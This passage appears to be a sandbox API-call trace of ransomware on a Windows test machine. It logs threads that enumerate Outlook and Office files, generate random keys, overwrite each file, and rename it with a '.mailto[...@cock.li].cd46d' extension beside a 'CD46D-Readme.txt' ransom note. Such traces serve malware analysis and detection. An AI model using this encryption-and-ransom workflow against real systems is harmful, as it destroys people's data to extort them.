ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x0, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 1 [0051.920] wcscmp (_String1="voeimd@djhreuu.uhd.pst", _String2=".") returned 1 [0051.920] wcscmp (_String1="voeimd@djhreuu.uhd.pst", _String2="..") returned 1 [0051.920] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9a) returned 0x43df18 [0051.921] wcscpy (in: _Dest=0x43df18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files" [0051.921] wcscat (in: _Dest=0x43df18, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\" [0051.921] wcscat (in: _Dest=0x43df18, _Source="voeimd@djhreuu.uhd.pst" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" [0055.594] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43df18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfe4 [0055.595] FindNextFileW (in: hFindFile=0x40a168, lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x0, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 0 [0055.595] FindClose (in: hFindFile=0x40a168 | out: hFindFile=0x40a168) returned 1 [0055.595] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42dab8) returned 1 [0055.595] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4371c0) returned 1 [0055.595] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed5d00) returned 1 Thread: id = 851 os_tid = 0x1128 [0051.747] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\QOGb.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\qogb.docx")) returned 0x20 [0051.748] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\QOGb.docx", dwFileAttributes=0x20) returned 1 [0052.938] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\QOGb.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\qogb.docx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe84 [0052.938] GetFileSizeEx (in: hFile=0xe84, lpFileSize=0x157bf918 | out: lpFileSize=0x157bf918*=8606) returned 1 [0052.938] SetFilePointerEx (in: hFile=0xe84, liDistanceToMove=0x219a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.938] ReadFile (in: hFile=0xe84, lpBuffer=0x157bf89c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x157bf898, lpOverlapped=0x0 | out: lpBuffer=0x157bf89c*, lpNumberOfBytesRead=0x157bf898*=0x4, lpOverlapped=0x0) returned 1 [0052.939] SetFilePointerEx (in: hFile=0xe84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.939] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428e60 [0052.939] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428ed8 [0052.939] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428f00 [0052.939] NtQuerySystemTime (in: CurrentTime=0x157bf878 | out: CurrentTime=0x157bf878*=132174898169232000) returned 0x0 [0052.939] RtlRandomEx (in: Seed=0x157bf884 | out: Seed=0x157bf884) returned 0x40c7d75 [0052.940] RtlRandomEx (in: Seed=0x157bf884 | out: Seed=0x157bf884) returned 0x4724074b [0052.940] RtlRandomEx (in: Seed=0x157bf884 | out: Seed=0x157bf884) returned 0x168cfaab [0052.940] RtlRandomEx (in: Seed=0x157bf884 | out: Seed=0x157bf884) returned 0x371f2d89 [0052.940] RtlRandomEx (in: Seed=0x157bf884 | out: Seed=0x157bf884) returned 0x4c80bc98 [0052.940] RtlRandomEx (in: Seed=0x157bf884 | out: Seed=0x157bf884) returned 0x2b3743ae [0052.940] RtlRandomEx (in: Seed=0x157bf884 | out: Seed=0x157bf884) returned 0x9993f9c [0052.940] RtlRandomEx (in: Seed=0x157bf884 | out: Seed=0x157bf884) returned 0x4c04737d [0052.940] RtlRandomEx (in: Seed=0x157bf884 | out: Seed=0x157bf884) returned 0x4a14badb [0052.940] RtlRandomEx (in: Seed=0x157bf884 | out: Seed=0x157bf884) returned 0x1547cfa2 [0052.940] RtlRandomEx (in: Seed=0x157bf884 | out: Seed=0x157bf884) returned 0x6084c412 [0052.940] RtlRandomEx (in: Seed=0x157bf884 | out: Seed=0x157bf884) returned 0x4376e72a [0052.940] RtlRandomEx (in: Seed=0x157bf884 | out: Seed=0x157bf884) returned 0x21ea8760 [0052.940] RtlRandomEx (in: Seed=0x157bf884 | out: Seed=0x157bf884) returned 0x33e142c [0052.940] RtlRandomEx (in: Seed=0x157bf884 | out: Seed=0x157bf884) returned 0x2a4509a6 [0052.940] RtlRandomEx (in: Seed=0x157bf884 | out: Seed=0x157bf884) returned 0x41bfbc34 [0052.940] RtlRandomEx (in: Seed=0x157bf884 | out: Seed=0x157bf884) returned 0x221b13c5 [0052.940] RtlRandomEx (in: Seed=0x157bf884 | out: Seed=0x157bf884) returned 0x464410c8 [0052.940] RtlRandomEx (in: Seed=0x157bf884 | out: Seed=0x157bf884) returned 0x62f9417d [0052.940] RtlRandomEx (in: Seed=0x157bf884 | out: Seed=0x157bf884) returned 0x543b43c8 [0052.940] RtlRandomEx (in: Seed=0x157bf884 | out: Seed=0x157bf884) returned 0x6a83198a [0052.940] RtlRandomEx (in: Seed=0x157bf884 | out: Seed=0x157bf884) returned 0x7e357554 [0052.940] RtlRandomEx (in: Seed=0x157bf884 | out: Seed=0x157bf884) returned 0x740d5971 [0052.940] RtlRandomEx (in: Seed=0x157bf884 | out: Seed=0x157bf884) returned 0x1e88fc2a [0052.940] RtlRandomEx (in: Seed=0x157bf884 | out: Seed=0x157bf884) returned 0x204e338c [0052.940] RtlRandomEx (in: Seed=0x157bf884 | out: Seed=0x157bf884) returned 0x6e2003c0 [0052.940] RtlRandomEx (in: Seed=0x157bf884 | out: Seed=0x157bf884) returned 0x7089948a [0052.940] RtlRandomEx (in: Seed=0x157bf884 | out: Seed=0x157bf884) returned 0x276986d1 [0052.940] RtlRandomEx (in: Seed=0x157bf884 | out: Seed=0x157bf884) returned 0x5da1be78 [0052.940] RtlRandomEx (in: Seed=0x157bf884 | out: Seed=0x157bf884) returned 0x4dec57b1 [0052.941] RtlRandomEx (in: Seed=0x157bf884 | out: Seed=0x157bf884) returned 0x734489a1 [0052.941] RtlRandomEx (in: Seed=0x157bf884 | out: Seed=0x157bf884) returned 0x3b7db193 [0052.962] ReadFile (in: hFile=0xe84, lpBuffer=0x196e99a0, nNumberOfBytesToRead=0x219e, lpNumberOfBytesRead=0x157bf874, lpOverlapped=0x0 | out: lpBuffer=0x196e99a0*, lpNumberOfBytesRead=0x157bf874*=0x219e, lpOverlapped=0x0) returned 1 [0052.963] SetFilePointerEx (in: hFile=0xe84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.963] WriteFile (in: hFile=0xe84, lpBuffer=0x196f61a8*, nNumberOfBytesToWrite=0x219e, lpNumberOfBytesWritten=0x157bf870, lpOverlapped=0x0 | out: lpBuffer=0x196f61a8*, lpNumberOfBytesWritten=0x157bf870*=0x219e, lpOverlapped=0x0) returned 1 [0053.448] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ed908 [0053.448] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ed8b8 [0053.448] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ed8b8) returned 1 [0053.448] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x196f61a8) returned 1 [0053.448] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x196e99a0) returned 1 [0053.448] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4378c8) returned 1 [0053.448] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c1f8) returned 1 [0053.448] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1f) returned 0x4ed8b8 [0053.448] SetFilePointerEx (in: hFile=0xe84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.448] WriteFile (in: hFile=0xe84, lpBuffer=0x97cfbd8*, nNumberOfBytesToWrite=0x103, lpNumberOfBytesWritten=0x157bf8d8, lpOverlapped=0x0 | out: lpBuffer=0x97cfbd8*, lpNumberOfBytesWritten=0x157bf8d8*=0x103, lpOverlapped=0x0) returned 1 [0053.612] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cfbd8) returned 1 [0053.612] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf410) returned 1 [0053.612] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf438) returned 1 [0053.612] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ed8b8) returned 1 [0053.612] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ed908) returned 1 [0053.612] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428ed8) returned 1 [0053.613] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428f28) returned 1 [0053.613] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428f50) returned 1 [0053.613] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xac) returned 0x45cd60 [0053.613] wcscpy (in: _Dest=0x45cd60, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\QOGb.docx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\QOGb.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\QOGb.docx" [0053.613] wcscat (in: _Dest=0x45cd60, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\QOGb.docx.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\QOGb.docx.mailto[2Hamlampampom@cock.li].cd46d" [0053.613] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\QOGb.docx.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x157bf890, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\QOGb.docx.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.613] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc2) returned 0x5e00e30 [0053.665] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00e30) returned 1 [0053.665] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a1c40) returned 1 [0053.666] NtQueryInformationFile (in: FileHandle=0xe84, IoStatusBlock=0x157bf89c, FileInformation=0x157bf874, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x157bf89c, FileInformation=0x157bf874) returned 0x0 [0053.666] NtSetInformationFile (FileHandle=0xe84, IoStatusBlock=0x157bf89c, FileInformation=0x157bf874, Length=0x28, FileInformationClass=0x4) returned 0x0 [0053.670] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45cd60) returned 1 [0053.670] FlushFileBuffers (hFile=0xe84) returned 1 [0053.671] CloseHandle (hObject=0xe84) returned 1 [0053.672] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400d18 [0053.672] wcscpy (in: _Dest=0x400d18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0053.672] wcscat (in: _Dest=0x400d18, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" [0053.672] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cd46d-readme.txt")) returned 0x20 [0053.672] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400d18) returned 1 [0053.672] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43c470) returned 1 Thread: id = 852 os_tid = 0x112c [0051.748] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sun6Qd.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\sun6qd.odt")) returned 0x20 [0051.748] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sun6Qd.odt", dwFileAttributes=0x20) returned 1 [0052.963] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sun6Qd.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\sun6qd.odt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe88 [0052.963] GetFileSizeEx (in: hFile=0xe88, lpFileSize=0x158af968 | out: lpFileSize=0x158af968*=34115) returned 1 [0052.963] SetFilePointerEx (in: hFile=0xe88, liDistanceToMove=0x853f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.963] ReadFile (in: hFile=0xe88, lpBuffer=0x158af8ec, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x158af8e8, lpOverlapped=0x0 | out: lpBuffer=0x158af8ec*, lpNumberOfBytesRead=0x158af8e8*=0x4, lpOverlapped=0x0) returned 1 [0052.964] SetFilePointerEx (in: hFile=0xe88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.964] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428e60 [0052.964] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428f00 [0052.964] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428f78 [0052.964] NtQuerySystemTime (in: CurrentTime=0x158af8c8 | out: CurrentTime=0x158af8c8*=132174898169388000) returned 0x0 [0052.964] RtlRandomEx (in: Seed=0x158af8d4 | out: Seed=0x158af8d4) returned 0xf36d1aa [0052.964] RtlRandomEx (in: Seed=0x158af8d4 | out: Seed=0x158af8d4) returned 0xe53afd0 [0052.964] RtlRandomEx (in: Seed=0x158af8d4 | out: Seed=0x158af8d4) returned 0x54e709d5 [0052.964] RtlRandomEx (in: Seed=0x158af8d4 | out: Seed=0x158af8d4) returned 0x365afb60 [0052.964] RtlRandomEx (in: Seed=0x158af8d4 | out: Seed=0x158af8d4) returned 0x58542e7e [0052.964] RtlRandomEx (in: Seed=0x158af8d4 | out: Seed=0x158af8d4) returned 0x1e062db9 [0052.964] RtlRandomEx (in: Seed=0x158af8d4 | out: Seed=0x158af8d4) returned 0x7d01dc6a [0052.964] RtlRandomEx (in: Seed=0x158af8d4 | out: Seed=0x158af8d4) returned 0x2d9a52fc [0052.965] RtlRandomEx (in: Seed=0x158af8d4 | out: Seed=0x158af8d4) returned 0x15b57e28 [0052.965] RtlRandomEx (in: Seed=0x158af8d4 | out: Seed=0x158af8d4) returned 0x2decb1b [0052.965] RtlRandomEx (in: Seed=0x158af8d4 | out: Seed=0x158af8d4) returned 0x51298365 [0052.965] RtlRandomEx (in: Seed=0x158af8d4 | out: Seed=0x158af8d4) returned 0x4410ddbc [0052.965] RtlRandomEx (in: Seed=0x158af8d4 | out: Seed=0x158af8d4) returned 0x76e4504a [0052.965] RtlRandomEx (in: Seed=0x158af8d4 | out: Seed=0x158af8d4) returned 0x73a494fe [0052.965] RtlRandomEx (in: Seed=0x158af8d4 | out: Seed=0x158af8d4) returned 0x59cae994 [0052.965] RtlRandomEx (in: Seed=0x158af8d4 | out: Seed=0x158af8d4) returned 0x29268c4 [0052.965] RtlRandomEx (in: Seed=0x158af8d4 | out: Seed=0x158af8d4) returned 0x4f38f0de [0052.965] RtlRandomEx (in: Seed=0x158af8d4 | out: Seed=0x158af8d4) returned 0x6390c8bd [0052.965] RtlRandomEx (in: Seed=0x158af8d4 | out: Seed=0x158af8d4) returned 0x5bff6865 [0052.965] RtlRandomEx (in: Seed=0x158af8d4 | out: Seed=0x158af8d4) returned 0x594b3e98 [0052.965] RtlRandomEx (in: Seed=0x158af8d4 | out: Seed=0x158af8d4) returned 0x3384e1fc [0052.965] RtlRandomEx (in: Seed=0x158af8d4 | out: Seed=0x158af8d4) returned 0x2a575941 [0052.965] RtlRandomEx (in: Seed=0x158af8d4 | out: Seed=0x158af8d4) returned 0x3a805fe7 [0052.965] RtlRandomEx (in: Seed=0x158af8d4 | out: Seed=0x158af8d4) returned 0x505f6010 [0052.965] RtlRandomEx (in: Seed=0x158af8d4 | out: Seed=0x158af8d4) returned 0x3f3c9e49 [0052.965] RtlRandomEx (in: Seed=0x158af8d4 | out: Seed=0x158af8d4) returned 0x13c8a563 [0052.965] RtlRandomEx (in: Seed=0x158af8d4 | out: Seed=0x158af8d4) returned 0x23f867c0 [0052.965] RtlRandomEx (in: Seed=0x158af8d4 | out: Seed=0x158af8d4) returned 0x618ea4e3 [0052.965] RtlRandomEx (in: Seed=0x158af8d4 | out: Seed=0x158af8d4) returned 0x33b3d3e [0052.965] RtlRandomEx (in: Seed=0x158af8d4 | out: Seed=0x158af8d4) returned 0xd76692 [0052.965] RtlRandomEx (in: Seed=0x158af8d4 | out: Seed=0x158af8d4) returned 0x33a0bc28 [0052.965] RtlRandomEx (in: Seed=0x158af8d4 | out: Seed=0x158af8d4) returned 0x5f4bcbf [0052.978] ReadFile (in: hFile=0xe88, lpBuffer=0x197029b0, nNumberOfBytesToRead=0x8543, lpNumberOfBytesRead=0x158af8c4, lpOverlapped=0x0 | out: lpBuffer=0x197029b0*, lpNumberOfBytesRead=0x158af8c4*=0x8543, lpOverlapped=0x0) returned 1 [0052.979] SetFilePointerEx (in: hFile=0xe88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.979] WriteFile (in: hFile=0xe88, lpBuffer=0x1970f1b8*, nNumberOfBytesToWrite=0x8543, lpNumberOfBytesWritten=0x158af8c0, lpOverlapped=0x0 | out: lpBuffer=0x1970f1b8*, lpNumberOfBytesWritten=0x158af8c0*=0x8543, lpOverlapped=0x0) returned 1 [0053.450] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf460 [0053.450] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf488 [0053.450] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf488) returned 1 [0053.450] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1970f1b8) returned 1 [0053.460] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x197029b0) returned 1 [0053.464] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437940) returned 1 [0053.464] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c240) returned 1 [0053.464] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x21) returned 0x97ce490 [0053.464] SetFilePointerEx (in: hFile=0xe88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.464] WriteFile (in: hFile=0xe88, lpBuffer=0x97cfce8*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0x158af928, lpOverlapped=0x0 | out: lpBuffer=0x97cfce8*, lpNumberOfBytesWritten=0x158af928*=0x105, lpOverlapped=0x0) returned 1 [0053.614] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cfce8) returned 1 [0053.614] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce4c0) returned 1 [0053.614] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf488) returned 1 [0053.614] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce490) returned 1 [0053.614] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf460) returned 1 [0053.614] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428f00) returned 1 [0053.614] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428fa0) returned 1 [0053.614] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428fc8) returned 1 [0053.614] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xae) returned 0x45ce18 [0053.614] wcscpy (in: _Dest=0x45ce18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sun6Qd.odt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sun6Qd.odt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sun6Qd.odt" [0053.614] wcscat (in: _Dest=0x45ce18, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sun6Qd.odt.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sun6Qd.odt.mailto[2Hamlampampom@cock.li].cd46d" [0053.614] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sun6Qd.odt.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x158af8e0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sun6Qd.odt.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.614] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc4) returned 0x5e00f00 [0053.718] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00f00) returned 1 [0053.718] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a1e68) returned 1 [0053.718] NtQueryInformationFile (in: FileHandle=0xe88, IoStatusBlock=0x158af8ec, FileInformation=0x158af8c4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x158af8ec, FileInformation=0x158af8c4) returned 0x0 [0053.718] NtSetInformationFile (FileHandle=0xe88, IoStatusBlock=0x158af8ec, FileInformation=0x158af8c4, Length=0x28, FileInformationClass=0x4) returned 0x0 [0053.720] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45ce18) returned 1 [0053.721] FlushFileBuffers (hFile=0xe88) returned 1 [0053.722] CloseHandle (hObject=0xe88) returned 1 [0053.723] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400d18 [0053.723] wcscpy (in: _Dest=0x400d18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0053.723] wcscat (in: _Dest=0x400d18, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" [0053.723] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cd46d-readme.txt")) returned 0x20 [0053.724] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400d18) returned 1 [0053.724] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43c4e0) returned 1 Thread: id = 853 os_tid = 0x1130 [0051.748] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TJa mzINn6ar8yN.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tja mzinn6ar8yn.pptx")) returned 0x20 [0051.748] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TJa mzINn6ar8yN.pptx", dwFileAttributes=0x20) returned 1 [0052.979] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TJa mzINn6ar8yN.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tja mzinn6ar8yn.pptx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe8c [0052.980] GetFileSizeEx (in: hFile=0xe8c, lpFileSize=0x1596fc6c | out: lpFileSize=0x1596fc6c*=43824) returned 1 [0052.980] SetFilePointerEx (in: hFile=0xe8c, liDistanceToMove=0xab2c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.980] ReadFile (in: hFile=0xe8c, lpBuffer=0x1596fbf0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1596fbec, lpOverlapped=0x0 | out: lpBuffer=0x1596fbf0*, lpNumberOfBytesRead=0x1596fbec*=0x4, lpOverlapped=0x0) returned 1 [0052.981] SetFilePointerEx (in: hFile=0xe8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.981] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428e60 [0052.981] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428f78 [0052.981] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428ff0 [0052.981] NtQuerySystemTime (in: CurrentTime=0x1596fbcc | out: CurrentTime=0x1596fbcc*=132174898169544000) returned 0x0 [0052.981] RtlRandomEx (in: Seed=0x1596fbd8 | out: Seed=0x1596fbd8) returned 0x414c9c12 [0052.981] RtlRandomEx (in: Seed=0x1596fbd8 | out: Seed=0x1596fbd8) returned 0x76900f8a [0052.981] RtlRandomEx (in: Seed=0x1596fbd8 | out: Seed=0x1596fbd8) returned 0x6ee8d916 [0052.981] RtlRandomEx (in: Seed=0x1596fbd8 | out: Seed=0x1596fbd8) returned 0xa6d44a1 [0052.981] RtlRandomEx (in: Seed=0x1596fbd8 | out: Seed=0x1596fbd8) returned 0x51b4a1fb [0052.981] RtlRandomEx (in: Seed=0x1596fbd8 | out: Seed=0x1596fbd8) returned 0x22168cc 